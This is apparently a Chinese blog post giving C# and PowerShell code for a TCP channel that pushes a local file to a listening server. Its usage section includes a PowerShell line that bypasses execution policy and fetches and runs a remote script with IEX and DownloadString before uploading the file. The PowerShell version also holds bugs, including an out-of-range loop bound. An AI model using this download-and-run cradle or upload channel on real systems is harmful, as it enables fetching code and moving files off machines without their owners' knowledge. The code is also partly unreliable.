服务端c#模式在公网上

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace filesvr
{
    class Program
    {
        static void Main(string[] args)
        {

            TcpListener tl = new TcpListener(IPAddress.Any, 9833); //开一个随意端口让自己的mstsc连。   
            tl.Start();
            Console.Write("[*]Started"+Environment.NewLine);
            TcpClient tc = tl.AcceptTcpClient();
            if (tc.Connected)
            {
                Console.Write("[*]AcceptTcpClient" + Environment.NewLine);
                FileStream fs=new FileStream(Path.Combine( Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName),"1.bak"),FileMode.OpenOrCreate);
                NetworkStream stream = tc.GetStream();
                byte[] chk=new byte[4]{0x56,0x86,0x79,0x60};
                stream.Write(chk,0,4);
                stream.Flush();
                byte[] bt = new byte[1024];
                int count = 0;
                long allsize = 0;
                while ((count=stream.Read(bt, 0, bt.Length))>0)
                {
                    fs.Write(bt,0,count);
                    allsize += count;
                }
                fs.Flush();
                fs.Close();
                stream.Flush();
                stream.Close();
                tc.Close();
                Console.Write("[*]Finished Len:" +allsize+ Environment.NewLine);


              
            }

        }
    }
}

客户端c#模式

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net.Sockets;
using System.Text;

namespace fileclt
{
    class Program
    {
        static void Main(string[] args)
        {
            TcpClient tc = new TcpClient("127.0.0.1", 9833);
            Console.Write("[*]Started" + Environment.NewLine);
            if (tc.Connected)
            {
                Console.Write("[*]AcceptTcpClient" + Environment.NewLine);
                FileStream fs = new FileStream(@"F:\迅雷下载\1.zip", FileMode.Open);
                NetworkStream stream = tc.GetStream();
                byte[] chk1=new byte[4];
                byte[] chk = new byte[4] { 0x56, 0x86, 0x79, 0x60 };
                int count = stream.Read(chk1, 0, chk1.Length);
                if (count != 4)
                {
                    Console.Write("[*]Check TcpClient Faild" + Environment.NewLine);
                    return;
                }
                for (int i = 0; i < chk.Length; i++)
                {
                    if (chk1[i] != chk[i])
                    {
                        Console.Write("[*]Check TcpClient Faild" + Environment.NewLine);
                        return;
                    }
                }
                long allsize = 0;
                byte[] bt = new byte[1024];
                int fileReadSize = 0;

                while ((fileReadSize=fs.Read(bt, 0, bt.Length))>0)
                {
                    stream.Write(bt,0,fileReadSize);
                    allsize += fileReadSize;
                }
                fs.Flush();
                fs.Close();
                stream.Flush();
                stream.Close();
                tc.Close();
                Console.Write("[*]Finished Len:" + allsize + Environment.NewLine);

            }
        }
    }
}

客户端powershell模式

function upload-bin{

            $tc = New-Object System.Net.Sockets.TcpClient("服务端ip", 9833);
            Write-Host ("[*]Started" + [System.Environment]::NewLine);
            if ($tc.Connected)
            {
                Write-Host ("[*]AcceptTcpClient" +  [System.Environment]::NewLine);
                $fs = New-Object System.IO.FileStream("F:\迅雷下载\1zip", [System.IO.FileMode]::Open);
                $stream = $tc.GetStream();
                $chk1 = New-Object byte[](4);
                $chk  = [byte[]]@(0x56, 0x86, 0x79, 0x60 );
                $count = $stream.Read($chk1, 0, $chk1.Length);
                if ($count -ne 4)
                {
                    Write-Host("[*]Check TcpClient Faild" + [System.Environment]::NewLine);
                    return;
                }
                for ($i = 0; $i -le $chk.Length; $i++)
                {
                    if ($chk1[$i] -ne $chk[$i])
                    {
                        Write-Host("[*]Check TcpClient Faild" + [System.Environment]::NewLine);
                        return;
                    }
                }
                $allsize = 0;
                $bt =  New-Object byte[](41024);
                $fileReadSize = 0;

                while (($fileReadSize=$fs.Read($bt, 0, $bt.Length)) -gt 0)
                {
                    $stream.Write($bt,0,$fileReadSize);
                    $allsize += $fileReadSize;
                }
                $fs.Flush();
                $fs.Close();
                $stream.Flush();
                $stream.Close();
                $tc.Close();
                Write-Host("[*]Finished Len:" + $allsize + [System.Environment]::NewLine);

            }
}

使用方法
第一种方式:启动filesvr服务端c#,然后启动客户端c#
第二种方式:启动filesvr服务端c#,启动powersehll以下几种方式

powershell -exec bypass "import-module E:\filecnt.ps1;upload-bin"
powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString(''http://youip/filecnt.ps1'');upload-bin
Logo

讨论HarmonyOS开发技术,专注于API与组件、DevEco Studio、测试、元服务和应用上架分发等。

更多推荐